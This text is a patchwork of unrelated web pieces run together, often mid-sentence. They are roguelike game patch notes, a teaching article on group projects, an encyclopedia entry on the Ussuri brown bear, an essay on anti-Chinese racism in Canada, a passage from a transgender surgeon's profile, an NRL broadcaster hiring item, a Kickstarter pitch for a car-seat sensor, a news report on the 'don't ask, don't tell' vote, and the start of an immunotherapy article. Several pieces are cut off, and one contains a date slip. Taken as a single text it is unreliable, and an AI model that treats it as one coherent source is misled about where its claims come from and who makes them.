Other spell changes: Ozocubu’s Armour now gives ponderousness (+0.1 movement delay). Passwall is now level 2 (previously, level 3). Song of Slaying has been simplified; it now gives +slay with every kill, capping at +9 slay. (It was previously… complicated.) Removed spells: Stoneskin, Condensation Shield, and Phase Shift.
God changes: Ashenzari now lets you directly curse items, rather than needing to create scrolls of curse armour/weapon/jewellery. This ability still consumes a scroll of remove curse. Okawaru’s abilities (Heroism & Finesse) are now considerably lower duration at low Invocations, but cost less piety and scale to higher max durations. If you would regenerate MP under Pakellas while already full, you can now get a potion of magic instead. Sif now gives miscast protection at ** and amnesia at ****. (Previously, the reverse was true.) Yredelemnul’s Enslave Soul now works on angels and demons.
Swamp worms’ ambush predator functionality should now function correctly. Beware…
The Captain’s Cutlass now does flat bonus damage when it disarms an enemy.
Thanks to chequers for helping to compile this post.
For those who are interested, there’s also two new experimental gods being tested – Ukayaw, God of Ecstatic Dance, and Hepliaklqana, God of Ancestral Memory. They can be played on CBRO or, for the antipodeans, CPO.
Happy crawling!Via Faculty Focus
Many faculty now have students do some graded work in groups. The task may be, for example, preparation of a paper or report, collection and analysis of data, a presentation supported with visuals, or creation of a website. Faculty make these assignments with high expectations. They want the groups to produce quality work—better than what the students could do individually—and they want the students to learn how to work productively with others. Sometimes those expectations are realized, but most of the time there is room for improvement—sometimes lots of it. To that end, below is a set of suggestions for improving group projects. A list in the article referenced below provided a starting place for these recommendations.
Emphasize the importance of teamwork—Before the groups are formed and the task is set out, teachers should make clear why this particular assignment is being done in groups. Students are still regularly reporting in survey data that teachers use groups so they don’t have to teach or have as much work to grade. Most of us are using groups because employers in many fields want employees who can work with others they don’t know, may not like, who hold different views, and possess different skills and capabilities. Teach teamwork skills—Most students don’t come to group work knowing how to function effectively in groups. Whether in handouts, online resources, or discussions in class, teachers need to talk about the responsibilities members have to the group (such as how sometimes individual goals and priorities must be relinquished in favor of group goals) and about what members have the right to expect from their groups. Students need strategies for dealing with members who are not doing their fair share. They need ideas about constructively resolving disagreement. They need advice on time management. Use team-building exercises to build cohesive groups—Members need the chance to get to know each other, and they should be encouraged to talk about how they’d like to work together. Sometimes a discussion of worst group experiences makes clear to everyone that there are behaviors to avoid. This might be followed with a discussion of what individual members need from the group in order to do their best work. Things like picking a group name and creating a logo also help create a sense of identity for the group, which in turn fosters the commitment groups need from their members in order to succeed. Thoughtfully consider group formation—Most students prefer forming their own groups, and in some studies these groups are more productive. In other research, students in these groups “enjoy” the experience of working together, but they don’t always get a lot done. In most professional contexts, people don’t get to choose their project partners. If the goal is for students to learn how to work with others whom they don’t know, then the teacher should form the groups. There are many ways groups can be formed and many criteria that can be used to assemble groups. Groups should be formed in a way that furthers the learning goals of the group activity. Make the workload reasonable and the goals clear—Yes, the task can be larger than what one individual can complete. But students without a lot of group work experience may struggle with large, complex tasks. Whatever the task, the teacher’s goals and objectives should be clear. Students shouldn’t have to spend a lot of time trying to figure out what they are supposed to be doing. Consider roles for group members—Not all the literature recommends assigning roles, although some does. Roles can emerge on their own as members see what functions the group needs and step up to fill those roles. However, this doesn’t always happen when students are new to group work. The teacher can decide on the necessary roles and suggest them to a group with the group deciding who does what. The teacher can assign the roles, but should realize that assigning roles doesn’t guarantee that students will assume those roles. Assigned roles can stay the same or they can rotate. However they’re implemented, roles are taken more seriously if groups are required to report who filled what role in the group. Provide some class time for meetings—It is very hard for students to orchestrate their schedules. Part of what they need to be taught about group work is the importance of coming to meetings with an agenda—some expectation about what needs to get done. They also need to know that significant amounts of work can be done in short periods of time, provided the group knows what needs to be done next. Working online is also increasingly an option, but being able to convene even briefly in class gives groups the chance to touch base and get organized for the next steps. Request interim reports and group process feedback—One of the group’s first tasks ought to be the creation of a time line—what they expect to have done by when. That time line should guide instructor requests for progress reports from the group, and the reports should be supported with evidence. It’s not good enough for the group to say it’s collecting references. A list of references collected should be submitted with the report. Students should report individually on how well the group is working together, including their contributions to the group. Ask students what else could they contribute that would make the group function even more effectively. Require individual members to keep track of their contributions—The final project should include a report from every member identifying their contribution to the project. If two members report contributing the same thing, the teacher defers to the student who has evidence that supports what the student claims to have done. Include peer assessment in the evaluation process—What a student claims to have contributed to the group and its final product can also be verified with a peer assessment in which members rate or rank (or both) the contributions of others. A formative peer assessment early in the process can help members redress what the group might identify as problems they are experiencing at this stage.
Students, like the rest of us, aren’t born knowing how to work well in a group. Fortunately, it’s a skill that can be taught and learned. Teacher design and management of group work on projects can do much to ensure that the lessons students learn about working with others are the ones that will serve them well the next time they work in groups.
Reference: Hansen, R.S. (2006). Benefits and problems with student teams: Suggestions for improving team projects. Journal of Education for Business, September/October, 11-19.
This article was featured on Faculty Focus, originally appearing on The Teaching Professor, and was written by Maryellen Weimer, PhD.The Ussuri brown bear (Ursus arctos lasiotus), also known as the black grizzly[3] is a subspecies of the brown bear. One of the largest brown bears, a very large Ussuri brown bear may approach the Kodiak bear in size.[4]
Appearance [ edit ]
Skull
It is very similar to the Kamchatka brown bear, though it has a more elongated skull, a less elevated forehead, somewhat longer nasal bones and less separated zygomatic arches, and is somewhat darker in color, with some individuals being completely black, a fact which once led to the now refuted speculation that black individuals were hybrids of brown bears and Asian black bears.[citation needed] Adult males have skulls measuring 38.7 cm (15.2 in) long and 23.5 cm (9.3 in) wide.[citation needed] They can occasionally reach greater sizes than their Kamchatka counterparts: the largest skull measured by Sergej Ognew (1931) was only slightly smaller than that of the largest Kodiak bear (the largest subspecies of brown bears) on record at the time.[4]
Behaviour and biology [ edit ]
On Shiretoko Peninsula, especially in the area called "Banya", many females with cubs often approach fishermen and spend time near people. This unique behavior was firstly noted more than a half century ago, with no casualties or accidents ever recorded. It is speculated that females take cubs and approach fishermen to avoid encountering aggressive adult males.[5]
Dietary habits [ edit ]
Although the diet of an Ussuri brown bear is mainly vegetarian, being the largest predator it is able to kill any prey.
In Sikhote Alin, Ussuri brown bears den mostly in burrows excavated into hillsides, though they will on rare occasions den in rock outcroppings or build ground nests.[citation needed] These brown bears rarely encounter Ussuri black bears, as they den at higher elevations and on steeper slopes than the latter species. They may on rare occasions attack their smaller black cousins.[6]
In middle Sakhalin in spring, brown bears feed on the previous year's red bilberry, ants and flotsam, and at the end of the season, they concentrate on the shoots and rhizomes of tall grasses. On the southern part of the island, they feed primarily on flotsam, as well as insects and maple twigs.[citation needed] In springtime in Sikhote Alin, they feed on acorns, Manchurian walnuts and Korean nut pine seeds. In times of scarcity, in addition to bilberries and nuts, they capture larvae, wood-boring ants and lily roots. In early summer, they will strip bark from white-barked fir trees and feed on their cambium and sap.[citation needed] They will also eat berries from honeysuckle, yew, Amur grapevine and buckthorn. In southern Sakhalin, their summer diet consists of currants and chokeberries. In the August period in the middle part of the island, fish comprise 28% of their diet.[4]
In Hokkaido, the brown bear has a diet including small and large mammals, fish, birds and insects such as ants.[7] Recent increases in size and weight, reaching 400 kg (880 lb), or possibly up to 450 kg (990 lb) to 550 kg (1,210 lb),[8] are largely caused by feeding on crops.[9]
Interactions with tigers [ edit ]
Ussuri brown bears are occasionally preyed on by Siberian tigers, and constitute about 1% of their diet (and up to 18.5% together with black bears in very particular cases).[10][11] Siberian tigers regularly prey on young bears but adult female Ussuri brown bears are also taken outside their dens as well.[6][12][13] Siberian tigers most typically attack brown bears in the winter in the bear's hibernaculum.[14] They are typically attacked by tigers more often than the smaller black bears, due to their habit of living in more open areas and their inability to climb trees. When hunting bears, tigers will position themselves from the leeward side of a rock or fallen tree, waiting for the bear to pass by. When the bear passes, the tiger will spring from an overhead position and grab the bear from under the chin with one forepaw and the throat with the other. The immobilised bear is then killed with a bite to the spinal column. After killing a bear, the tiger will concentrate its feeding on the bear's fat deposits, such as the back, legs and groin.[15] Tiger attacks on bears tend to occur when ungulate populations decrease. From 1944 to 1959, more than 32 cases of tigers attacking bears were recorded in the Russian Far East. In the same period, four cases of brown bears killing female and young tigers were reported, both in disputes over prey and in self-defense.[15][16][17][18] Gepnter et al. (1972) stated bears are generally afraid of tigers and change their path after coming across tiger trails. In the winters of 1970–1973, Yudakov and Nikolaev recorded 1 case of brown bear showing no fear of the tigers and another case of brown bear changing path upon crossing tiger tracks.[10][15][19][20] Large brown bears may actually benefit from the tiger's presence by appropriating tiger kills that the bears may not be able to successfully hunt themselves and follow.[21] During telemetry research in the Sikhote-Alin protected area, 44 direct confrontations between the two predators were observed, in which bears were killed in 22 cases, and tigers in 12 cases.[22]
Range and status [ edit ]
Historic ranges (in dark red) adjacent to Japanese archipelago
The brown bear is found in the Ussuri krai, Sakhalin, the Amur Oblast, northward to the Shantar Islands, Iturup Island, northeastern China, the Korean peninsula, Hokkaidō and Kunashiri Island. Until 13th century, bears inhabited the islands of Rebun and Rishiri, having crossed the La Pérouse Strait[23] to reach them. They were also present on Honshu during the last glacial period, but were possibly driven to extinction either by competing with Asian black bears[24] or by habitat loss due to climate change. There are three genetic groups, distinct for at least 3 million years which reached to Hokkaido via Honshu at different times.[25][26]
About 500–1,500 Ussuri brown bears are present in Heilongjiang, and are classed as a vulnerable species. Illegal hunting and capture has become a very serious contributing factor to the decline in bear numbers, as their body parts are of high economic value.[27]
Five regional sub-populations of Ussuri brown bears are now recognized in Hokkaido. Of these, the small size and isolation of the western Ishikari subpopulation has warranted its listing as an endangered species in Japan’s Red Data Book. 90 to 152 brown bears are thought to dwell in the West Ishikari Region and from 84 to 135 in the Teshio-Mashike mountains. Their habitat has been severely limited by human activities, especially forestry practices and road construction. Excessive harvesting is also a major factor in limiting their population.[27] In 2015, the Biodiversity Division of the Hokkaido government estimated the population as being as high as 10,600.[28]
In Russia, the Ussuri brown bear is considered a game animal, though it is not as extensively hunted as the Eurasian brown bear.[27]
In Korea, a few of these bears still exist only in the North, where this bear is officially recognized as natural monument by its government. Traditionally called Ku'n Gom(big bear), whereas black bears are called Gom(bear), the Ussuri brown bear became extinct many years ago in South Korea largely due to poaching. In North Korea, there are two major areas of brown bear population: including JaGang province and HamKyo'ng Mountains. The ones from JaGang province are called RyongLim Ku'n Gom(RyongLim big bear) and they are listed as Natural Monument No.124 of North Korea.[29] The others from Hamkyo'ng Mountains are called GwanMoBong Ku'n Gom (GwanMo Peak big bear) and they are listed as Natural Monument No.330 of North Korea.[30] All big bears(Ussuri brown bears) in North Korea are mostly found around the peak areas of mountains. Their average size varies from 150 kg to 250 kg for Ryonglim bears found in the area south of Injeba'k Mountain, up to average of 500 kg to 600 kg for the ones found in the area north of Injeba'k Mountain.[29]
Attacks on humans [ edit ]
In Hokkaido, during the first 57 years of the 20th century, 141 people died from bear attacks, and another 300 were injured.[31] The Sankebetsu brown bear incident (三毛別羆事件, Sankebetsu Higuma jiken), which occurred in December 1915 at Sankei in the Sankebetsu district was the worst bear attack in Japanese history, and resulted in the deaths of seven people and the injuring of three others.[32] The perpetrator was a 380 kg and 2.7 m tall brown bear, which twice attacked the village of Tomamae, returning to the area the night after its first attack during the prefuneral vigil for the earlier victims. The incident is frequently referred to in modern Japanese bear incidents, and is believed to be responsible for the Japanese perception of bears as man-eaters.[31]
From 1962 to 2008 there were 86 attacks and 33 deaths from bears in Hokkaido.[33]
Cultural associations [ edit ]
The Ainu people worship the Ussuri brown bear, eating its flesh and drinking its blood as part of a religious festival known as Iomante.Recent articles by Edward W
Was ein chinesischer Anarchist zu Tibet meint Recent Articles about North America / Mexico Migration / racism
Trump and the myth of the progressive but misled 'white working class'... by andrew The Attack on Immigrants in the USA by Wayne Price Mettre le feu à la corde : sur la Révolte de baltimore et les autres à... by Romina Akemi The history of anti-Chinese racism in Canada north america / mexico | migration / racism | opinion / analysis Sunday March 30, 2008 01:30 Sunday March 30, 2008 01:30 by Edward W - Common Cause by Edward W - Common Cause In the wake of racist remarks made by Toronto city councillor Rob Ford, where he essentializes Asians and rhetorically suggests a 'take over' by Asians, it is imperative that we look at the history of discrimination and racism directed towards the Chinese, perpetrated by governments and business interests, here in Canada. Edward W glances back... The Chinese community in Canada was dehumanized, criminalized, and made the other, without any recognition of the Euro-Canadian imperialist past that had, for centuries, driven the Chinese and other subjugated peoples to leave their countries. Unfortunately, with greater influxes of Chinese immigrants into Canada, such prejudices have remained. In fact, these processes can be traced back to the formation of Canada.
There has been a long history of prejudice, institutionalized and systemic discrimination, directed towards Chinese immigrants, affecting both the community and the migratory flow to Canada from China. These issues must be understood in the context of racialization and capitalist imperialism, especially since the major reason for migration out of China was and is the plundering of the country by imperialist nations ie. European countries and Japan.
The British Columbian Gold Rush from 1958-1866
The first occurrence of Chinese migration into Canada began around 1858, in response to the gold rush on the British Columbian mainland. During these early years of Chinese immigration, there was limited discrimination directed at these new settlers. The British government was fairly disinterested, allowing the same rights, liberties, and privileges as other immigrants. The predominantly English community in Victoria reacted to the immigration with mixed feelings curiosity, prejudice, condescension, and spite but were generally unconcerned, preoccupied with the gold rush, though, the Chinese were never accepted as part of the community.
When a head tax was proposed during a public meeting on 5 March 1860, Governor James Douglas assured the Chinese community that there were no plans to implement such measures. He claimed that a head tax would not be the interest of Victoria, seeing as Chinese merchants would aid in the promotion of Victoria' economic prosperity and Chinese labourers would help meet the demand for workers. Ironically, the same capitalist, imperialist processes that led to such hardship in the home country, which brought these immigrants here in the first place, had also resulted in a lack of discriminatory policies in the 'new world' though this would not be a permanent condition.
The Economic Recession from 1866-1881
The mood of the European British Columbian community towards the Chinese would change for the worst when an economic downturn was experienced during 1866, caused by the end of the gold rush.
Many Europeans began to perceive the Chinese as competitors during these times of high unemployment, and to see them as the reason for the undercutting of wages for white people. Others charged the Chinese with coming to Canada simply as sojourners, taking away wealth back to China and not providing any long-term benefits for Canada herself. In response to these allegations, Huang Tsun Hsien, the Chinese Consul General in San Francisco, would express before the 1885 Royal Commission on Chinese Immigration:
This depends wholly upon their treatment in any country they emigrate to... Chinese immigrants coming to this country are denied all the rights and privileges extended to others... the laws compel them to remain alien.
While, a great number of Chinese did wish to return to China, it had much to do with the discriminatory conditions and legal perimeters put in place in Canada and not down to any personal inclination. Ultimately, many stayed in Canada but mainly because of even worse conditions at home.
These negative views towards the Chinese were reflected with the countless examples of discriminatory government policies against the Chinese. A striking example was the amendment to the Qualification and Registration of Voters Act, in 1874, which disenfranchised Chinese and First Nations people, though Chinese were still obligated to pay taxes and were not immune to conscription. In 1876, further legislation barred Chinese from employment in government projects.
It is clear that the division of the working class was successful, as seen by some of the characterizations made of Chinese, namely, the reconstruction of these individuals from fellow men to labour machines. An American Congressional committee investigating Chinese immigration in 1877 concluded that the 'cute' Yankee was quick to discover that John Chinaman was a mere labor machine, and utilized him accordingly. This type of characterization disallowed solidarity between European and Chinese workers.
The Construction of the Canadian Pacific Railway from 1881-1885
The main bulk of Chinese immigrants would arrive between 1881 and 1885, in response to a shortage of workers to construct the Canadian Pacific Railway in British Columbia. In 1881, 2939 Chinese immigrants had arrived; in 1882, 8083; and in 1884, 2223. The employment of Chinese workers by Onderdonk, would save him 4 million dollars in labour costs.
During this period, no prominent government legislations affecting the Chinese community and migration were passed. However, discrimination and racial divides were perpetuated by Onderdonk's policy of promoting anti-Chinese propaganda written by various journalists and politicians to white workers, and the organization of Chinese and White workers into different work groups, in order to prevent workers from cooperating.
The First World War and Further Economic Recessions from 1885-1924
A second period of economic depression would occur with the completion of the railway in 1885, as the railway workers were no longer needed. In response to growing unemployment, in 1884 and 1885, the British Columbian government attempted to pass legislation that would virtually bar all Chinese immigration into the province and allow the prosecution of individuals that assisted in bringing Chinese into the province. Although deemed unconstitutional by the Supreme Court for the same reasons as earlier attempts, the British Columbian government would be able to pass legislation restricting the Chinese from certain occupations, like the Coal Mines Act of 1890, which disallowed Chinese employment in the coal mining sector.
Unlike the provincial government, the federal government would have no problems passing similar legislation. Legislated at the start of a recession, the Chinese Immigration Act of 1885 was said to be an attempt to discourage further Chinese immigration into Canada through the imposition of a head tax. When first imposed in 1885, the head tax was set at $50; each individual of Chinese descent entering into Canada would be made to pay the amount. The Head Tax was then increased to $100 in 1900, and to $500 in 1903. Interestingly, merchants and their families, diplomats, clergymen, men of science, students and tourists were exempt from paying the head tax.
The Chinese Immigration Act did not completely stop the immigration of Chinese into Canada, as some business owners, especially in the railroad industry, were willing to pay the head tax in order to obtain cheap labour. As soon as the economy picked up, immigration would once again increase, from 1891 to 1900, 26,345 immigrants would arrive, from 1901 to 1910 23,495, and from 1911 to 1920 32,244. This brings into question the stated aim to prevent the movement of Chinese into Canada. Instead, the Chinese Immigration Act was only effective in limiting the number of Chinese women and children entering into Canada to rejoin their spouses or fathers.
There is a possibility that, instead, the intended aim of the Chinese Immigration Act was to give an impression of government action against the perceived 'threat' of Chinese immigration to satisfy the demands of white workers, while, at the same time, keeping open, a source of cheap labour for capitalists, which was necessary at the time because of labour shortages during the first World War. In addition, the act may have been passed to ensure that the Chinese population in Canada would, by preventing natural increase and hence limited long-term prospects of staying in Canada, remain alienated from the community, as they could not settle down without family, at the same time, internalizing the idea that they were 'others'.
This again, maintained divisions between workers.
With a third period of economic depression at the end of the first World War, in 1923, the Chinese Immigration Act was replaced with the Chinese Exclusion Act. This act conclusively banned all Chinese immigration except for merchants, diplomats, and students. It was not until May 14, 1947, that this legislation was repealed and Canadian citizenship was made eligible to the Chinese who had paid the head taxes. However, lasting damages have already been done to the Chinese community.
Conclusion
Economic and social processes of capitalism have had and continue to have a large impact on the migration of people and the circumstances faced by the Chinese-Canadian community; indeed, migration from China itself would not have likely occurred had it not been for imperialism.
The externalization of racialization, for example, discriminatory legislations and racist editorials, would ensure the survival of capitalism, with the Chinese scapegoated as the cause for economic hardship, and also, with the working class divided as a result of the internalization of these racialist ideas by both Europeans and Chinese. These processes would occur in relation to economic circumstances, during times of economic prosperity and labour shortages, Chinese immigration was allowed; but during times of recession and unemployment, Chinese immigration was restricted. Though much has changed, many racist immigration policies exist to this day and must be challenged.
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From Linchpin 3, the paper of Common Cause. You can read the rest of the articles in this issue or download (and distribute) a PDF file of it from our website http://www.linchpin.ca Digg this del.icio.us Furl Reddit Technorati Facebook Twitter << Back To Newswire
English Italiano Deutsch This page can be viewed inLinda Rohr caresses Kate's hand after surgery and writes a card to go with the flowers she had waiting in Kate's hospital room. The couple plan to hold a recommitment ceremony on their 50th wedding anniversary in 2018. (Whitney Shefte/The Washington Post)
To a bright child with a gift for engineering and logic, this mystery of mistaken gender had been something to puzzle over but never question out loud. It certainly couldn’t be shared — not with his parents or his brothers or his friends. Even if they accepted it, what could anyone really do?
So he endured, through a childhood that was confusing and a puberty that was torture. He felt hormones “ravage” his body, turning him unmistakably male. He avoided looking at himself in a mirror, even to comb his hair. But in every other way, he tried to be the best, most typical boy he could be. Growing up in the suburban hamlet of Fanwood, N.J., he played sports and studied hard, and even though he believed God was deaf to his prayers, he dutifully sat next to his parents in church every Sunday.
The days ticked by, and the boy became a man. He married his hometown sweetheart at age 22, graduated from Princeton and went on to earn a master’s degree in mechanical engineering. Medical school put him on the path to becoming an orthopedic surgeon, then a business executive, too. Where other doctors worked 12-hour days, he worked 18. He gave seminars around the world, patented new tools for knee replacements and started a family.
The present became the past, and the young man became middle-aged, but he never stopped thinking about what he’d buried so long ago, never stopped wondering about why and how and what if. At the same time, he knew that if his secret was ever unearthed, it would cost him everything he cherished. There was no map to happiness in this world. How could he know the woman whose love he most feared losing would be the person who would save him?
Life is a “chasing after the wind,” Ecclesiastes says. “Time and chance happen to us all.”
It was a single-column story, low on the front page of the New York Times. College sophomore Bill Rohr picked up the paper and noticed the headline immediately. The first sentence nearly sent him reeling: “The Johns Hopkins Hospital has quietly begun performing sex change surgery.”
The date was Nov. 21, 1966.
The article mentioned Harry Benjamin, an endocrinologist and sexologist who led a foundation spearheading the effort to have transsexuals — a term Benjamin coined — treated as medical, not psychiatric, patients. His book, “The Transsexual Phenomenon,” had just been published. Two days later, Rohr rode a train from Princeton into New York to buy it.
“I was flabbergasted,” Rohr recalled recently. “It described me exactly. It also provided evidence that this was a medical condition and that it was immutable.”
All of it was revelatory, helping him to realize he wasn’t a freak. But that understanding did little to blunt the agony and fear that continued to hold him hostage. Respite from the relentless struggle to be something he was not came only in the library, where late into the night he could turn his mind to books like Benjamin’s.
The physician’s experiences had convinced him that there were untold numbers of people whose psychological, emotional and mental belief of being male or female was opposite to their sexual anatomy at birth. Benjamin thought genetics and prenatal conditions probably played a significant causal role, but because the 1960s and ’70s were the heyday of behaviorism in psychology, nature took a back seat to nurture, as that New York Times article made clear:
“Psychiatrists believe that transsexualism is caused by prolonged conditioning early in life, perhaps within the first three years. Some cases, in which a mother wanted a daughter instead of a son and raised her child accordingly, seem obvious, but the origin of others is obscure.”
Today, an overwhelming number of doctors and scientists dismiss the idea that environment, or behavioral conditioning, causes a person to be transgender. Most agree that sexual anatomy, sexual orientation and gender identity are the result of three distinct developmental processes in the fetal brain. Yet only recently have researchers begun to tease out how that brain is masculinized or feminized. Hormones, it appears, play an essential role.
“As one patient once told me, sexual orientation is who you go to bed with, gender identity is who you go to bed as,” said Norman Spack, a pediatric endocrinologist and co-founder of the Gender Management Service at Boston Children’s Hospital.
Bill Rohr definitely knew the difference. He felt female, believed he was female, but he was also attracted to women — which is why the second time in life he crossed paths with Linda Sue Schwingel, he did everything he could to hold on to her.
They had lived only a mile apart in Fanwood and attended the same public high school. Bill even took Linda to their freshman prom. But six more years went by before they truly got together. Linda had just graduated from junior college, and one day Bill happened to drive by her house. He noticed Linda’s parents sitting on the porch. He drove by the house a second time, then a third. By the fourth time, Linda’s astute mother had alerted her daughter, who was now outside, too.Channel 9 has announced James Bracey has been brought in to host their NRL coverage next season.
Bracey has won acclaim for his 13 years of work at Sky News, where he won the 2013 Logie award for Most Outstanding Sports Coverage at the London Olympics and the 2008 Swimming Australia Media award for his coverage of the Beijing Olympics.
He believes his love of the North Sydney Bears will make him a more impartial, and better, host.
“It probably makes me a better host because I’m not cheering. I’m probably just observing and then commenting so I’m as impartial as you possibly could be,’’ Bracey told nine.com.au.
“I’m confident that I can jump in there and make the most of it and really get the best out of those big names that Wide World of Sports have got sitting next to me.
“If you asked me if there was a job I wanted to go into, I wouldn’t have even thought this one was a chance so it’s the whole cliché of a dream come true.
“To go from a kid sitting on the hill watching his Bears, to actually being at the ground, being a part of the coverage and adding to the spectacle doesn’t get any better.”
Nine's director of sport Tom Malone will be a brilliant asset.
“I’m delighted James is joining the Wide World of Sports family and the home of rugby league to host our NRL coverage in 2017,’’ Malone said.
“Growing up on the Central Coast, he’s a mad rugby league fan and tragic North Sydney Bears supporter.
“He’s already crammed so much into his career covering Olympic and Commonwealth games and hosting his own nightly sports panel show.
“He will bring a great professionalism and enthusiasm to our broadcast and digital coverage.’’Hello Kickstarter! Thank you so much for checking out our project. We hope you support our project and help Starfish come to life! As a new father, hearing the news of yet another infant losing his life in a hot car horrified me. I asked myself…How? Why? What can be done? The search for answers prompted me to start developing a device that could easily prevent tragedies like this from happening. That device is Starfish.
What is Starfish?
Wireframe Rendering
Starfish is a weight-activated seat sensor that notifies your smartphone when you’ve left a certain area – say your car –without your child. Starfish uses Bluetooth to pair with your iPhone or Android phone, and it fits snugly in your child's car seat. When you place your child on Starfish, the device automatically pairs with your smartphone, sending you a notification that your child is in his or her seat. When activated, Starfish then creates a “geo-fence” radius around itself. If you leave the “geo-fenced” area (around 20 feet), Starfish will automatically notify you that your child may be in danger. As an added layer of protection, Starfish can notify your emergency contacts if you haven’t responded to the notification after 5 minutes.
How does it work?
Starfish is incredibly easy to use. In fact, the one-time setup takes less than 3 minutes.
Simply download the Starfish app on your iPhone or Android smartphone, open it, and pair it with Starfish. Then, place Starfish under the pad of your child's car seat using the provided self-adhesive tape. Place your child in his or her car seat, and Starfish will automatically activate.
Upon activation, Starfish creates a "geo-fence" radius around the device itself. The “geo-fence” spans roughly 20 feet.
If you leave this "geo-fence" while the seat sensor is still activated, you will be immediately notified that your child may be in danger through a mobile notification. After 5 minutes, the Starfish app on your device will notify your emergency contacts of your last known location and that you have not responded to the alert. Emergency contacts can be set up in the settings panel of the Starfish app.
To deactivate Starfish, simply remove your child from their car seat. Starfish deactivates and goes to sleep to preserve battery life. The Starfish app will alert you before the battery has reached a low use level, and needs to be replaced (Starfish takes a standard battery).
Research and Development.
We are 85% complete with our design and engineering process, and with your help, we will be able to produce our first production run. Together with our manufacturing partner, we |
"don't ask, don't tell" repeal and an immigration provision offering a path to citizenship for students and soldiers who are children of illegal immigrants.
Republicans countered that Democrats were trying to use defense policy act that authorizes $725 billion in military spending to force through provisions popular with their political base ahead of the November 2 congressional elections.
White House Press Secretary Robert Gibbs expressed disappointment at the vote but said "we'll keep trying" to get Congress to approve the repeal of the "don't ask, don't tell" policy barring openly gay and lesbian soldiers from the military.
A federal judge recently ruled that the "don't ask, don't tell" policy was unconstitutional, and the uncertainty of congressional action after Tuesday's vote further complicated the issue
What's your take on "don't ask, don't tell"?
The Human Rights Campaign, a gay rights advocacy group, said in response to the vote that the Justice Department should let the court ruling stand instead of filing an appeal.
"We still have a fighting chance to repeal DADT through congressional action, but in the meantime, the best interests of our men and women in uniform -- as well as the country -- are served by doing everything we can do to get rid of this discriminatory law," said Joe Solmonese, the group's president.
Debate on the defense bill was rancorous in the run-up to the vote. Republicans accused Reid of trying to prevent them from proposing amendments to the bill and criticized his plan to tack on the immigration provision, known as the DREAM Act.
"I've never seen such a cynical use of the needs of the men and women of the military," said GOP Sen. John McCain of Arizona, the top Republican on the Armed Services Committee, calling the expanded bill "a cynical act for political reasons as the election nears to try to salvage what appears to be a losing campaign."
Reid countered that the Republican opposition was a blow to gay and lesbian Americans, as well as those born to illegal immigrants, who want to serve their country.
"The Defense Department¹s strategic plan explicitly states that passage of the DREAM Act is critical to helping the military shape and maintain a mission-ready all-volunteer force," Reid said in a statement.
McCain and other Republicans "should know better than anyone that patriots who step up to serve our grateful nation should be offered a path to citizenship, and that anyone who volunteers to serve should be welcomed regardless of their sexual orientation," Reid's statement said.
Republican opponents included some GOP senators who favor lifting the Pentagon's requirement that gays and lesbians keep their sexuality a secret.
However, they expressed concern that Democratic leaders could limit GOP amendments to the broader National Defense Authorization Act that includes the "don't ask, don't tell" provision.
Sen. Mitch McConnell of Kentucky, the chamber's top Republican, proposed an agreement for the chamber to consider 20 amendments on a rotating basis, but none could include adding the DREAM Act to the bill.
Reid rejected the proposal, saying such an agreement was too great a departure from how the Senate normally conducted its business. Another of the chamber's Democratic leaders, Sen. Dick Durbin of Illinois, said McConnell's proposal was intended to "stop the DREAM Act."
With 59 seats in the chamber, Senate Democrats and their allies needed at least one Republican vote to reach the 60 needed to overcome a GOP filibuster.
However, none of the moderate Republicans who in the past have voted with Democrats crossed the aisle this time.
"I find myself on the horns of a dilemma," Sen. Susan Collins of Maine said before the vote.
Collins explained that she supported repeal of the "don't ask, don't tell" policy but "cannot vote to proceed to this bill under a situation that is going to shut down debate and preclude Republican amendments."
She called for an agreement that guarantees "full and open debate," adding: "Now is not the time to play politics simply because an election is looming in a few weeks."
On Monday, pop star Lady Gaga held a rally to call on both Collins and fellow Maine Republican Sen. Olympia Snowe to join Democrats in overcoming the expected GOP filibuster attempt.
Both Snowe and Collins oppose the "don't ask, don't tell" policy, and Collins was the sole Republican vote in the Senate Armed Services Committee in support of getting rid of it.
However, both joined the GOP filibuster after Reid refused to change his approach.
Reid had said he wanted the Senate to take up the bill now, but no final vote would take place until after the November 2 elections. He rejected the GOP calls for an agreement on how the amendment process would proceed, citing what he called a pattern of Republicans obstructing debate on important policies.
The legislation, which is a broad defense policy bill, would rescind "don't ask, don't tell" after the Pentagon completes a review of the repeal's impact on the military.
The review is due in December and would serve as the basis for certification by the president, defense secretary and chairman of the Joint Chiefs of Staff that the military could handle repealing the policy.
On Tuesday, the general nominated to head the Marine Corps told a Senate committee that he believes responses from Marines on repealing the "don't ask, don't tell" policy have been mostly negative so far.
Gen. James Amos said he had heard that at Marine bases and in Marines' responses to an online survey, the feeling "is predominantly negative." He added, however, "I don't know that as a fact."
In written answers to the Senate Armed Services Committee, Amos said he opposes repeal of the "don't ask, don't tell" policy now because it could disrupt cohesion due to "significant change during a period of extended combat operations." At the same time, Amos made clear that he would oversee a repeal if ordered to do so.
"The Marine Corps is probably one of the most faithful services you have in our country," Amos said. "And if the law is changed by Congress and signed by the president of the United States, the Marine Corps will get in step and do it smartly."
Many Republicans complain that Congress should not step in until after that military review is completed.
McCain, the top Republican on the Armed Services Committee, said that approving a repeal provision before finishing the review process would amount to an insult to military personnel.
"The most fundamental thing we could do to honor the sacrifice of our troops is to take the time to hear their views," McCain said Tuesday.
McCain also cited statements by the heads of the four military branches opposing congressional action on the issue before the review process is completed.
Democrats noted that Defense Secretary Robert Gates and Adm. Mike Mullen, the Joint Chiefs chairman, have said publicly that they support repealing "don't ask, don't tell."
The military has working groups looking at how to implement the change if ordered. The groups are looking at issues such as housing to entitlements and even personal displays of affection.
CNN's Chris Lawrence, Matt Smith and Tom Cohen contributed to this report.Late last month, a number of the leading cancer researchers in the world assembled at the Vatican for its third conference in regenerative medicine. The event, titled “Cellular Horizons,” focussed in part on immunotherapy, a form of treatment that is intended to boost the body’s innate ability to fight off tumors. It included an address by Pope Francis, who stepped down from the stage in the cavernous Paul VI Audience Hall to personally greet many of the attendees, and ended with a private performance by U2’s the Edge inside the Sistine Chapel. That the researchers found themselves treated as dignitaries must have been a little disorienting. Although immunotherapy is now widely regarded as among the most promising avenues in cancer treatment, until recently it was known primarily for its long history of failure. During a panel discussion at the Vatican, James P. Allison, the discoverer of a new class of immunotherapy drugs known as checkpoint inhibitors, noted that for a long time his fellow-researchers were looked upon as “snake-oil salesmen.”
